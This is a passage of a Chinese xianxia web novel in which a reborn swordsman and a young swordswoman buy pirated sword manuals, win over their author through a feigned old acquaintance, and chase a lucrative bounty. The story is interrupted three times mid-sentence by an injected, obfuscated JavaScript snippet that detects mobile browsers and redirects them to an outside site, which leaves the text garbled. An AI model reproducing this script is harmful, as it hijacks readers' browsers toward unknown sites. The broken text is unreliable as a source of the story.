时澈先有些幸灾乐祸,迫不及待想让时栎知道,昨天跟他打平手的逍遥剑修比他年纪还要小。 继而又有些不舒服,觉得自己没什么好幸灾乐祸,时栎丢人,他也丢人。 他问薛准:“你今年多大?” “啊?”薛准想了一下,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664652|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……一百……一百……” 时澈觉得还有希望,试探着提醒她,“一百九?” “不是,没那么大!” “……那一百五?” “澈兄,”薛准正色看向他,隐隐有些不高兴,“我是做了什么,才给你一种年纪很大的错觉吗?” 时澈友好地笑笑,“没有。我只是看你剑术这么好,总不能才一百岁?” 薛准摆摆手,“那倒没有这么小,我都一百一十多岁了,就是突然想不出来具体年数了。” 时澈向她确认,“一百一十岁?” 薛准严谨纠正他,“一百一十多。” “好的。” 时澈面色如常,识海打开通灵箓,对最上面一道灵光发送:你今年二百一十四岁。 时栎:嗯。 【时澈】:薛准比你小一百岁。 时栎:哦。 时栎:那是谁? 信息带到,时澈不理他了,继续看向赵昆游,说:“本命剑又如何?只要是剑,上天入地总有材料能补全。” 赵昆游嗤笑,“换成别人,本命剑是能补,毕竟是人家自己的剑,不论什么材料,都能与剑主合二为一,你的呢,自己心里没数?更别说你这里面还有剑灵!” 他又把手上断剑一扔,睨了时澈一眼,“想修剑,除非把原剑主找来,让他重新凝把本命剑出来,再熔了来补你的剑,这才是不会相斥、不伤害剑灵的最佳材料,你就上天入地找去吧,人埋哪儿了还记得吗?再学个什么起死回生大法,你的剑就能修了。” “……” 时澈沉思片刻,第二次捡起自己的剑,“我明白了,多谢。” 赵昆游见他这么无所谓,翻了个白眼,又转向薛准,握着她的剑不放,说:“至于你这把剑,姐姐,它就算碎成渣,我也能给你修复回全貌。” 薛准要拿回自己的剑,他不松手,仍喋喋不休,“我叫赵昆游,就住在天枢煅器阁里,等你日后凝了本命剑,一定要找我,我可以从头到尾给你打造一把举世无双的名器,配上你的至纯剑气,保管比得过玄清门里那把华景!” 他越说眼里光芒愈盛,似乎已经想到自己造的剑名扬七界的场景了。 “我粗略算过,那人当年造华景不过百万星石,当年的百万,现在顶多翻个两番,我跟玄铁山上那些器魂都熟,到时我们不收器魂的钱,只要……” 薛准见他说个没完,动动嘴皮子就让自己预先支出了并不存在的两百万,还握着自己的剑不撒手,不由深吸一口气,猛拍上他的丸子头强行叫停,一把夺过自己的剑说:“明白了,等我有钱了会考虑的!” 时澈:“你们聊,我先走了。” 薛准急忙跟上,连丸子头都顾不上跟这口出狂言的小孩儿请教了。 时澈见她一副死里逃生松口气的模样,问:“怎么了?玄清门机缘很多,两百万星石不算难攒,你原先还说喜欢华景,不心动?” 薛准摇头,“我喜欢华景又不是因为它贵,星界有钱人太多了,也没见出现过第二把华景。” 她垂眸,握紧自己手上的剑,“况且我一直觉得,值得关注的不是剑,而是拿剑的人。” 时澈收回视线。 通灵箓闪了一下,时栎好像突然反应过来,问他:跟你同行那个逍遥剑修?她才一百岁? 【时澈】:嗯。 时栎沉默。 有人陪着一起难受,时澈心里舒服些了,他往旁边看,薛准正边走边翻着一本书,边看边惊叹。 他瞥了一眼书名,《如何三十天速成逍遥剑》。 【时澈】:你猜她读什么书? 时栎不理他。 【时澈】:你绝对想不到。 时栎还不理他。 【时澈】:我今天才见识到,原来天下真有这样的书,原来这样的书真能教出这样的剑法。 时栎终于被勾起兴趣:什么? 时澈满意,合上通灵箓,不再理他。 10. 贩书摊 他看向薛准:“你这书……” “嗯?你说这个?”薛准递给他,眼底惊叹还没褪去,“我刚在路边见有人卖,不止这个,玄清门跟剑庐八派的剑招他都有!我略通一点逍遥剑,就买了一本看看,虽然一看就是仿的,但是……” 时澈快速翻看,书页古朴,无数墨色小人浮于其上,组成一套流畅的剑招。 他接上薛准的话,“但招式实用流畅,没学过逍遥剑的人完全看不出异样,写剑谱的人拆解拼接的本事不小。” “对!不瞒你说澈兄,我甚至都觉得他改的这版要更顺畅合理些,只可惜《千秋剑法》还未有人见过,不然我真想看看他会怎么改。” 《千秋剑法》是贺千秋此次闭关新出的一套逍遥剑法,会在门派招新后优先传授给第一位徒弟。 时澈瞥她一眼,状似无意问,“你想拜千秋剑尊?” “那当然想!” 薛准不好意思地笑笑,“但是听说千秋剑尊这是第一次收徒弟,要求肯定很高,能不能拜上还不一定呢。” 时澈点头,不再多聊,又问:“卖剑谱的,他在哪摆摊?” “喏,就前面那条街,拐过去就是。” 一素衫男子盘腿坐在地上,面前摆了一溜剑谱,从《三十天速成》到《七天速通》应有尽有,见有人走近,抬头看,发现薛准又回来了,朝她瞪眼道:“钱都付了,不退不换啊仙友。” “放心,不退换,”薛准指指时澈,“我朋友也想来看看。” 时澈环视过这小摊,瞥见一本书,差点被上面黑硬的大字闪到眼。 他指过去,“麻烦把那本拿来。” 《少君的秘密——深度挖解无情剑背后的招与式》 那书贩一拍手,混着一本《如何三十天速成无情剑》一起丢给他。 “仙友慧眼!这两本一起读,让你在速通无情剑的基础上吃透少君的变招,要不了多久你就能去拳打时栎脚踢凌殷霸占玄清门,下届掌门非你莫属啊仙友!” 薛准边听边去捂他嘴,小声道:“你卖书就卖书,别喊得我们跟俩傻子似的!” 时澈已经粗略翻完了两本书,目光探究地从那书贩脸上扫过,点了点头说:“是不错,我买了。” 凌殷喜欢钻研新剑招,会在第一时间让时栎学习,最后师徒两人商量出最适合对外传授的一套剑法。 而时栎本人拿师尊的招式融会贯通,自有一套打法。 这本书逐一拆解了他的剑招,有删改,有新增,套着张一看就是骗人的书皮,里面全是真东西。 时澈突然觉得好笑。 凌殷醉心剑法,把风头最盛的玄清门当成一展宏图的平台,妄图靠问天岛那群人将无情剑道发扬光大,碌碌一生不得志。 却没想过七界广阔,门外才是真正的卧虎藏龙。 仙山上的斗剑场和闹市里的贩书摊也没什么区别。 那书贩见他要买,咧出一抹大大的笑,说:“那我给您个一口价,两本,两千星石,不退不换。” “什么?!”薛准差点拿剑砸他脑袋上,“我刚才买,你只要两星石一本,你现在……你……你……” 时澈直接把钱给他,问:“能见见作者吗?” 那书贩点头,面色如常,收了钱便开始收拾书摊,还不忘朝旁边瞪眼的薛准解释。 “仙友,好书要卖给识货的人,多少都不算贵,我看你方才只想买来玩玩,也就给了你个玩玩的价,你要是觉得不合理,那也欢迎你补上剩下的九百九十八星石。” 薛准尽量让自己平静下来,靠近时澈,“澈兄,你为什么要买,这样显得咱俩……” 已经有路过的人开始议论,她环视了一下四周,压低声音道:“都傻傻的。” “那你就别看他们,”时澈拍了拍手上两本书,“我问你,要是现在有一本进阶版《千秋剑法》,要你一千星石来买,你买不买?” “那我会假装只想买来玩玩。” 时澈沉默,复又点头,“有道理。那我草率了,我们确实傻傻的。” 薛准怕他真难受,又安慰:“没关系澈兄,你不是还要见他们作者吗,也不亏,就当花钱交朋友了。” 小贩收拾好,自行在前面引路,时澈跟上,问薛准:“怎么交朋友?” “这个问题有些抽象,”薛准想了想,说,“等见了人,你可以骗他,说你们二十年前在麦条村分过馒头,如果你还知道他的名字,那就更好办了。” 时澈:“……” 时澈:“我当时只是想请你帮忙,没有要骗你的意思。” “我知道,”薛准点头,真诚道,“所以我们交上朋友了,你这个方法挺好用的,应该可以再试试。” 时澈摇头,“我觉得应该只对你管用。” 他要跟这个写剑谱的人交上朋友,却不知道怎么做,想再找人问问,又找不到。 来到星纪九年后,不光是钱袋,他的通灵箓也被清空了,一个好友都找不到。 如果时栎本人不算的话。 【时澈】:我现在需要去交个朋友,怎么办? 时栎:她读的什么书,你还没说。 【时澈】:《如何三十天速成逍遥剑》,怎么交朋友,速度想个办法。 时栎:……她靠学这个,就来跟我切磋? 【时澈】:不重要。我要去交朋友了。 时栎难得陷入自我怀疑,回:难道我真的是笨蛋? 【时澈】:朋友。 时栎:笨蛋。 【时澈】:滚。 指望不上。 书贩带着他们七拐八拐,行过闹市,到一户人家前。 门大开着,好几个书贩模样的人往来进出,像是一个进货的地方。 书贩跟他们说:“这些剑谱的作者,也就是我们大老板,雇了好多人在外面游走卖书,不过都不怎么卖得出去,我们还经常被当成骗子。这些啊,要么是来退货辞职的,要么是老板新招的人,倒显得他这每天都热热闹闹的。” 薛准好奇,“那你们平时卖书都怎么定价?” “看眼缘。” “……乱定呗。” “当然不是!”书贩回头瞥她,“我最近学会看剑定价了,这不,一看一个准,一上午卖出三本,赚了整整两千零二块星石!” 薛准叹了口气,“我们真的像傻子,澈兄。” 三人走到主屋门前,时澈说:“没事。”却在踏进房门,见到老板时脚步一顿。 那老板是个壮年男子,身姿端正,眉目刚毅,一身华服锦袍,正坐在桌前,边听书贩的汇报边抬眼看来。 时澈一个跨步上前,“金盛兄!真的是你!” 老板微微诧异,仔细端详他假面外的脸,又认不出来,只得开口道:“这位仙友……我们认识?” 时澈面上殷切,只道:“你不记得我了?我叫时澈,二十年前麦条村,跟你分馒头那个!” 一旁的薛准:“?” 罗金盛愣了愣,凝眉沉思。 时澈又补充,“那时阳鸿兄也在,我们三人分食一个馒头,你们把最大的给了我。我当时快死了,多亏那口馒头才活下来。” 听他这席话,罗金盛似乎想到了什么,让书贩出去,又亲自起身去关上门,回身,一把握住了时澈的手。 突然被宽大温热的手掌包裹,时澈全身一震,罗金盛却仿佛触景生情,把他握得更紧。 “原来是你!你活下来了,太好了!难为你还记得我们兄弟……” 罗金盛眼眶微热,引他到桌前坐下,“不瞒你说,我来主城后也许久不见阳鸿了,你既活了下来,近些日子可与他碰过头?” 时澈摇头,“我也来主城许久了。” 罗金盛点头,这才注意到他旁边的薛准,下意识开口询问,“这位是……” 忽然,他一顿,眼中涌上一丝难以置信的狂喜,“难道是二花少侠?!” 薛准:“???” “你怎么也知道我的芳名?!” 罗金盛走到她面前,拱手洪声道:“在下罗金盛,久仰少侠大名!” “罗金盛……”薛准喃喃,忽而惊讶道,“天枢村落的罗家兄弟?” “没错,”罗金盛点头,“二花少侠,你在天权界的事迹,我们天枢村落也是传遍了的,”他把视线放到薛准的剑上,面上更是难掩激动之情,“你这把斩妖驱鬼无敌宝剑真是赫赫有名,让下面多少家伙闻风丧胆……对了,你怎么也来天枢了?” 薛准停顿,眼中微光一闪而过,岔开话题,只道她也久仰罗家兄弟大名,今日一见果真气度非凡,捡着些其他的跟罗金盛聊了起来。 时澈静静看着两人攀谈。 这些年,他见过太多这样的人。 明明是第一次见,却仿若故友相逢,三言两语间便交了心,表了意,齐心合力,同仇敌忾。 相较之下,他这偷来的“熟人”身份,在此刻只显得单薄可笑。 他上辈子相识罗金盛、罗阳鸿两兄弟,是在三百岁那年。 那时他第一次渡劫失败,让宗门蒙羞,他们收走华景,换人接手问天岛,暂停了他的一切职权以作惩戒。 本命剑被收,他也没心情拿别的剑,便乐得清闲,整日黏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664653|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻妖。 幻妖嫌弃他太久不下山,脑袋上要长蘑菇,隔几天就硬拖着他出门,要么接悬赏,要么找秘境,歇着归歇着,没人会嫌功德和宝器多。 他其实懒得动,就当哄幻妖了,得了什么宝贝都往他身上挂,幻妖也不摘,变回萝卜都灵光闪闪。 到了后来,两人光抱一下都被那些宝器硌得浑身疼。 就在他快溺死在自己神魂造出的温柔乡里时,罗金盛、罗阳鸿两兄弟找到了他。 他们来自天枢下面的村落,不堪忍受世家子弟对村子的压迫,便纠结起势力暗中对抗。 后来罗阳鸿在村落继续行事,罗金盛因为机缘巧合,救了主城某个富贵人家的家主,做了他的养子,因此得了在主城行事的机会和资金。 罗金盛对时栎说,早已关注他许久,想拉他入伙,一起干。 他没兴趣,揣着幻妖化成的萝卜要走,又被另一人挡了去路。 薛准没穿玄清门的衣服,只一袭黑衣,一把出鞘的长剑。 “无情剑道失势,师兄现在回去也清闲,不如留下,听我们讲些故事。” 那时的薛准已经结识了罗金盛,当日情境大概也像今天这样,一见如故,相谈甚欢。 他们说这个星界烂到根里了,问时栎,要不要跟他们合作。 他们帮他重振无情剑道,掌玄清门大权。 他来入世,来走到下面这些村落看看,救救这些绝望的、痛苦的人。 “你就是救世主。”他们说。 “没有人比你更适合、更有能力坐那个位子。” 他们握着他的手,堵着他的路,慷慨陈词,情真意切,三言两语便将他捧上了万人之巅。 可惜当年的时栎并不清楚,在这些人眼里,他的剑金尊玉贵,他的人高不可攀,他们从一开始,就没把他当成同路人。 破荒忽而震了一下。 时澈垂眼,安抚似的拍了拍腰间断剑。 不论是麦条村还是三人分馒头的故事,都是他当年听罗金盛讲过的。 被救那人遍体生疮,面目全非,大概已经死了。 现在他就是那个人。 “金盛兄,”他出声,叫住谈话的二人,“我与薛少侠来拜访,本意就是想跟剑谱作者交个朋友,如今既然都算相熟,我们就不客套了,敢问你所出的这些剑招,是从哪处学来?” 薛准闻言点头,“对对,罗大哥,澈兄不说我都忘了,你怎么会懂这么多派系的剑招?” 罗金盛哈哈大笑,起身向内室走,示意他二人跟来。 只见内室一面宽大的墙上,灵光分割出一个个圆形的幻影,每个幻影中都浮现着某一人的镜像。 无情剑道的时栎、逍遥剑道的封朔,以及剑庐八大派的叶平、花旻、山聆歌等人,各派剑宗里叫得出名姓的小辈都在其中。 罗金盛一一带他们看过去,笑呵呵道:“他们若是在宗门,我肯定没法子窥见这些剑招,好就好在这几人都是经常外出接悬赏、闯秘境的,总要出手斩杀妖鬼,山林野外还不随我们搜集观察?” 时澈点头,赞道:“妙。” 他走过显示时栎的幻影,随意看了几眼,只觉得这身银袍穿在他身上实在招摇。 时栎相貌清俊,不锐不妖,自带一股朗然之气,剑招却不那么清朗。 他用剑时爱秀,知道什么姿态最美观,什么力道能耍帅,比起速战速决,他更倾向于挑逗对手,只引着对方频频来攻,挽上几个漂亮的剑花,恨不能让妖鬼都看直眼,乖乖站住给他杀。 时澈视线挪到另一团幻影上。 封朔,逍遥剑修,剑尊岑曙的大徒弟,循规蹈矩的一个人,不算出彩,也从不出错。 他的剑招相当于教材级别的逍遥剑基础式,能把根吃透、一门功夫学到精,在逍遥剑道这一辈弟子里也算里有头有脸。 时澈上辈子跟他不算陌生,他讨厌这个人。 准确来说,是讨厌他看自己的眼神。 封朔此人面容冷郁,不苟言笑,看人时总带着股阴恻恻的寒意,唯有看向时栎时,漆黑的双眸里会燃起一丝暗火。 时栎读得出那个眼神,只第一眼就让他心中警铃大作,厌恶到浑身发麻。 他曾想将剑抵到封朔咽喉间,让他收起那些肮脏下流的视线,敢用那种眼神看无情剑修的都该死。 后来他想了想,这么说显得自己格局过大了,他其实只想说,敢用那种眼神看我的,都该死。 再后来思来想去,冷静了下来。 他讨厌逍遥剑修不假,但也不能因为“你竟然看我”这一理由就跑去揍人,太蠢了。 11. 悬赏令 罗金盛留他二人吃饭,饭桌上一扫方才的开怀,开始愁眉苦脸,幽声叹息。 时澈坐在罗金盛近旁,腰间佩剑挂在左侧,挨着他,黑冷昂贵的鞘身就那么明晃晃露在外面。 他关切道:“金盛兄有何心事?” “心事倒谈不上,”罗金盛给他斟了杯酒,“只是我这贩书的生意开了一月有余,本意便是找些志同道合的朋友,可惜等来等去,也就只等来你二位老朋友。” 时澈理解,安抚他道:“天枢往来的大多是剑修,有门有派的占一多半,他们看到这些书,心中不屑,大概连走近的心思都不会有,更无缘发现金盛兄笔下的玄妙。” “对啊,罗大哥,”薛准不再埋头苦吃,咽下一口菜道,“剩下我们这些无门无派的,自己剑术都还是半吊子,买了书也看不懂,真真假假的就拿回去压桌角了。” 罗金盛笑,“那倒也是。这种情况下还能把二位朋友等来,也算我们有缘。” 接着他话锋一转,又朝薛准,“方才忘记问了,二花少侠过去常在天权界活动,因何来了天枢?” 时澈:“……” 不是你忘问,是她根本没回你。 见他有意追问,薛准放下碗,起身,直接把剑拍到了桌上。 时澈二人皆是一怔,看向她。 那声拍得响,碗没放稳,差点摔到桌下,薛准还没站好就慌忙出手把碗扶正,抬头看向罗金盛。 “罗大哥,你给我问得都不好意思了,后日玄清门招新,不瞒你说,我就是冲这个来的。” 罗金盛点头,似乎并不意外,“早听闻二花少侠剑术了得,进了大宗,日后崭露头角,建功立业的机会数不胜数,前途无量啊。” 下一瞬,罗金盛的话头就丝滑转向了时澈。 他似乎才发现时澈带的剑,惊诧道:“时兄弟这把剑不错啊,跟主城那些名剑比起来也毫不逊色!” 言下之意,大家都是下面来的穷鬼,你哪儿得来这么好的剑? 时澈一笑,解下自己腰间佩剑,“金盛兄这话也给我说得不好意思了,这是以前在死人堆里捡的,此外还捞了不少钱袋宝器。” 接着,他抽剑出鞘,将断剑展示在罗金盛眼前,“只可惜华而不实,是把废剑,挂在身上权当充面子了。” 罗金盛恍然大悟,“怪不得时兄弟能一掷千金买我的剑谱,我听伙计说,你要了两本无情剑谱,时兄弟还懂无情剑?” 终于等他问到,时澈笑容更深,回:“当然,我表哥便是无情剑道大能,我时常关注他,总能认出一些剑招,如今我跟薛少侠在这里偶遇,也是一见如故,预备一同去玄清山上闯闯。” 从他第一句起,薛准的眼就绷不住了,疯狂朝他眨动。 时澈当没看见。 罗金盛沉吟道:“表哥?我看兄弟你也姓时,莫非……” 薛准深吸一口气预备插话。 时澈:“没错,玄清门里那位少君,是我的一位远房表亲,我来玄清门就是投奔他,两天前我们已经碰过头了。” 罗金盛沉默,兀自思索。 星界七大派中,各宗门头部弟子都背靠本地家族势力,但时栎不一样,早在他扬名星界前,时家就没了。 准确来说是散了,族人改名易姓,各奔东西,时栎有些七零八落的远方亲戚分布在下面村落太正常了。 时栎如今这么风光,时澈不管是他真表弟、还是从死人堆里捡到了什么信物,故意来伪装。 只要能得到时栎信任,那他的身份就是板上钉钉,没人会质疑。 有了这层身份,想要行事可就方便太多了。 罗金盛忽然开怀大笑,又抓起了时澈的手,边拍边道:“真是没想到,当年我兄弟二人一个小小举动,能救下时兄弟一条鲜活的人命已是大幸,现在时兄弟还在主城认了亲,日后前途也是不可限量,不可限量啊!” 时澈感激点头,回握住他的手,“不瞒你说,金盛兄,这些年我一直在找你和阳鸿兄,试图报当年的馒头之恩,如今我们都在天枢主城,真是再好不过,待我进入玄清门,日后金盛兄有什么事尽管找我,我绝不推脱!” “好!”罗金盛给他倒酒,两人当场交换了通灵箓,开怀畅饮。 两人聊到天色昏暗,时澈叫醒旁边不知何时趴桌子睡着的薛准,告别离开。 罗金盛依依不舍,亲自送他们到门口。 薛准还有些没睡醒,打着哈欠走在后面。 时澈在往自己手上洒灵光,这罗金盛为人太热情,说话就说话,总喜欢握别人手,他受不了。 “澈兄。” 薛准在后面突然叫了他一声,没等他应声,接着问道:“罗金盛这个人,你熟悉吗?” 时澈把手上气息全部换成自己的灵光,甩甩手腕,回道:“还算熟,怎么了?” “那你觉得他是个什么样的人?” 他认真地想了想,中肯道:“不是坏人。” “为什么不直接说他是个好人?” 时澈停步,等她走到近旁了才说:“因为在我的认知里,不存在绝对的好人,你是吗?我是吗?我们顶多算不太坏的人。” “少君也是不太坏的人吗?”薛准问。 这问题时澈不用思考,回道:“他算有点坏的人。不说他,我也有个问题问你,薛准,你刚才不想让我跟罗金盛言明身份,为什么?” 薛准摇摇头,“不知道,大概是直觉,看到他监视那些剑修,我觉得很不舒服。而且他们兄弟在天枢村落里,是出了名的仇视玄清门。” “所以你怕他会利用我,对时……对我表哥不利?” “没错,”薛准轻叹一声,难得想要教育他,“你交朋友太草率了,澈兄,把自己底漏光了不说,还跟他喝酒,不怕他把你灌醉了套话?长点心眼吧!” 时澈笑了笑,“我底都漏光了,还怕他套什么话?再说了,交朋友,最重要的就是真诚。” 薛准怪异地看了他一眼,那眼神似乎在说,没想到你真这么傻。 时澈不跟聊这些了,说:“天黑了,我回去歇着,你自便。” “天才刚黑呢,”薛准握起剑,碰碰他,暗示道,“不如我们一起去做些有意义的事?” 时澈了然,“寻花问柳,你也要去?” “……” 薛准:“澈兄,你看起来很正经,真的不像那种人。” “我就是那种人,”时澈说,“我喝醉了,让我想想,寻花问柳还是回去睡觉,都挺有意义的。” 薛准急了,指向不远处一棵小型传送树,“咱们来都来了,澈兄,不去接几个悬赏?我还没见过天枢的悬赏牌呢。” 时澈摆摆手,“这么急做什么,等进了玄清门,有得是机会做高阶悬赏,你现在去还得跟人抢,要么就只能做低阶,那才赚多少,得不偿失。” “你……”薛准似乎没想到他有这番言论,当即要跟他争辩,时澈却脚底生风,瞬息离开了她的视线,远远留下一句,“你随意,我回去睡了。” “……” 进了房间,时澈躺到榻上,剑放在一边。 他现在一身酒气,脑子有些昏沉。 刚才提到悬赏,他才想到自己如今的境界只是寻境三阶,想升到虚境,还差三万功德。 这和现在的时栎是持平的。 星界修炼分四元境界,一元初境、二元寻境、三元虚境、四元悟境。 其中初境有五阶,寻境、虚境各三阶,悟境之上不限阶。 前两元境界都可以一步一脚印慢慢提升,突破三元是个坎儿,大多人就止步在二元到三元之间了。 四元悟境以上的修者才有机会飞升,但也要看命,总有人一路顺畅升到四元境界,却多年飞升不了,在悟境的境界上不停升阶,不停升阶,不停升阶。 比如五百岁时,已经四元悟境整整二十阶的时栎本人。 时澈想睡,又睡不着,烦躁地翻了个身。 倘若他现在立刻去做几个高阶悬赏,功德攒够了,进度就会超过时栎。 但只要时栎不突破到三元境界,时澈也就要揣着大量功德停留在二元,别想突破。 他始终要跟着时栎的脚步提升。 想得到功德,除了日常探索秘境、斩杀妖鬼外,最快速有效的方法就是接悬赏。 星界建成后,人们沐浴在灵光中的同时,还要忍受时不时出现的妖鬼侵扰。 普通人家遇到妖鬼纠缠,自己又灭不了,轻则影响生活,重则家破人亡。 有能力杀鬼的修者,大多不愿意在城区里面到处跑动,这里面妖鬼分布太散,效率很低。 于是天地法则自动生出了对策,就是无论星界何处,但凡出现妖鬼的,都可以发悬赏出来,找修者去灭,赏金便是提升境界可以用到的功德。 本身杀鬼就会有功德,现在再加上悬赏的奖励,同一只鬼,比起外面那些野生的,家养鬼身价直接翻倍。 有的人自身有硬本事,打得过高阶妖鬼,会更倾向选择高阶悬赏,多赚些功德。 能力差一些的,便放低要求,在自己力所能及的范围内往高了接。 久而久之,很多被低阶妖鬼困扰的人家就苦恼了。 他们家的鬼不厉害,所以悬赏奖励的功德少,基本没人愿意接,就算有,也是那种刚修炼、什么也不懂的修者,有时候一次灭不掉,惹恼了妖鬼,苦得还是自己家。 久而久之,有人开始自行附加悬赏奖励,多给钱。 功德不够,星石来凑,只要能灭杀妖鬼,愿意出钱的大有人在。 有人开了头,便一发不可收拾,一些富贵人家甚至成千上万地往上加星石,生怕自己的悬赏没人接。 这下悬赏牌就成了星界各地的热门地点,七大界各设一个,免得只有一处,离得远的还要来回奔波,影响赚钱。 上辈子,时栎的功德和钱有一多半来自高阶、高价悬赏,大多时候没人跟他抢,要么抢不过,要么碍着他那身银袍,不敢抢。 功德高的大家趋之若鹜,星石多的众修蜂拥而上。 至于那些功德不算高、钱又没多少的悬赏有没有人接,那些不是很富裕的人家能不能灭除妖鬼,时栎没想过,这也不在他的关心范围内。 时澈睡不着,睁开眼,把借命玉牌拿在手上看。 时栎是天生的好气运,出趟门,三步一秘境两步一宝贝,路上踢个石头,都能随机砸死只刚冒头的懵懂小妖鬼,随时随处功德加一,功德加二,功德加三…… 他这气运最有用的地方,就是每次站到悬赏牌前,都能恰到好处地赶上高阶悬赏出现。 “接取”两字如碗大,金光闪闪,就在他手边。 只要他还有一丝抬手的力气,这悬赏就落不到别人身上。 除了那一回。 那次他领了宗门的令,要去帮一个常有来往的世家灭除妖鬼。 那世家点名想让时栎去,给长老们送了不少礼,其实就是想让时栎在他们家露个脸,以体现他们跟玄清门交情不浅。 玄清门没让时栎直接去,而是要求那家人发悬赏,到时候时栎做完悬赏,双倍功德便自己留着。 时澈想到这里,无声嗤笑,宗门用他归用他,倒也知道该给他些好处。 平常妖鬼打完就能走,这种人情往来,到了还得留下吃个饭,聊两句,站着跟他们家小孩大眼瞪小眼。 再听那些长辈说,你看看人家少君,小小年纪就怎么怎么样,再看看你,多大了还怎么怎么样。 然后时栎面无表情,在一家人感激的道谢和小孩委屈又愤恨的眼神中离开。 他平常没少干这种事,长老们总说他好用,让玄清门赚得盆满钵满,名利双收。 那晚也一样,他目标明确跑去接悬赏,这是给宗门干活,不是自己赚钱,没什么动力,他就恹恹等在约好的地方。 悬赏不能指定让某个人接取,却可以由发布人指定发在某个方位。 贴悬赏的那片地区很大,除了人最多的悬赏牌前,一些刁钻的角落,例如水面、树顶、石底也都可以出现。 这就方便了那些提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664654|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前商量好的人,可以指定一个隐蔽的地点,防止被人截胡。 时栎在树上蹲着等,心想,等他过去了,那家人可千万别说,你看人家少君,小小年纪就会爬树,再看看你,这么大了连树皮都没扒过。 然后他自顾自地笑,视线落到下方不远处的水面上,看着浮现的月影,又想,回去得教教幻妖怎么笑,一棵傻傻的小萝卜,什么都不会,今晚不能跟他在峰顶看月亮,回去估计还要哄哄。 接着,他自己的悬赏还没等到,就发现水面上灵光一闪,出现了一个新悬赏。 他通常不会去抢这种指定区域发布的悬赏,但是那张上面浮现的功德实在太惊人,以至于他看到那个数字的瞬间,身体已经自发行动,向水面掠去。 他当时只有一个想法,巨额功德他可以不要,但是能生成这么多功德,这背后的妖鬼到底是个什么东西,他一定得看看。 可惜,饶是他气运再好,能发现这张悬赏,也抵不过人家事先约好的手快。 就在他快落到水面上时,一道身影迅速闪过,先他一步接走了悬赏。 他当时非常惋惜,连“叫住那人,说咱俩一起去”的机会都没有,便又蹲回树上。 干完活回到宗门,他有意去查哪处出现了厉害的妖鬼,却无所获,后来因为剑缘交流大会加上门派招新一起开,需要准备的实在太多,忙起来也就耽搁…… 剑缘大会和门派招新一起开! 时澈猛地坐起身,捏着玉牌的手骤然攥紧了。 那不就是这两天? 他迅速提剑出门,向最近的传送树赶,期间打开通灵箓问时栎:你最近有没有接宗门悬赏?约定地点在树上,具体哪棵我忘了。 不是前几天,就是今天或明天。 如果时栎告诉他是以前,那证明他们无缘,他就回去接着睡。 如果是今、明两天,那他就去河边睡,守着那处悬赏。 他可以肯定,星界绝对没有出现过能值那么多功德的大鬼,不然早传开了,不会杳无音信。 回都回来了,总要让他看到这只巨额功德妖鬼的庐山真面目。 时栎回了,说:你猜。 时澈正激动着,看到他的话一口气差点没上来,说:有是吧?今天? 时栎:我为什么要告诉你? 【时澈】:你为什么不告诉我? 【时澈】:在哪棵树?给我个具体方位。 【时澈】:你先告诉我是不是今天。 时栎:是今天,我正往那边走。具体方位,你不记得了? 时澈松了口气,他这点气运还算顶用,心平气和回道:对,太久了,不记得了。 时栎:你记性好差。太久是多久? 【时澈】:我记性不差。别想问我年纪,不告诉你。 到了就近的小传送门,时澈启步踏入,进到接悬赏的区域,发了一句“你回头。”便合上通灵箓,朝站在入口不远处,背对他的银袍身影走去。 “来得挺快,”时栎转身,扬唇看向他,“走在路上都能感知到我的灵气在源源不断流失,你飞来的?” “你也不慢,”时澈走近,瞥了眼他腰间的剑,只觉得在夜里亮得格外扎眼,“刚还在路上,这就到了,也是飞来的?” 时栎正想说什么,却闻到他身上酒气,不禁皱起眉,“你喝酒了?” 时栎很少喝酒,他不会让自己醉,也讨厌酒后身上那种气味。 时澈说:“对。”还故意站得离他近,银质面具怼到他眼前,“你再不告诉我具体方位,我就混上你的灵气,钻进你衣服,沾你一身酒气。” 时栎被他的恶毒惊到,拿华景抵着他的肩推开他,自己转身朝里走。 那股酒气萦绕在鼻间,感知到他跟上了,时栎说:“我飞来的,本来在走,但是你突然表现得很急,我的灵力也被用了很多,我就觉得事情不一般,今晚会有什么大事?” 时澈:“没什么大事,你该干嘛干嘛,我们互不影响。” 时栎摇摇头,“你一边求我帮助一边嘴硬的样子真的很美,怪不得我的幻妖被你迷得神魂颠倒。” “……” 时澈说:“是有事,我不来你会后悔。” “我就知道,”时栎了然,笑了笑问,“不准备跟我分享一下?” “我更想给你个惊喜,毕竟我们见面这么久,你给了我玉牌,我还没给过你什么见面礼。” 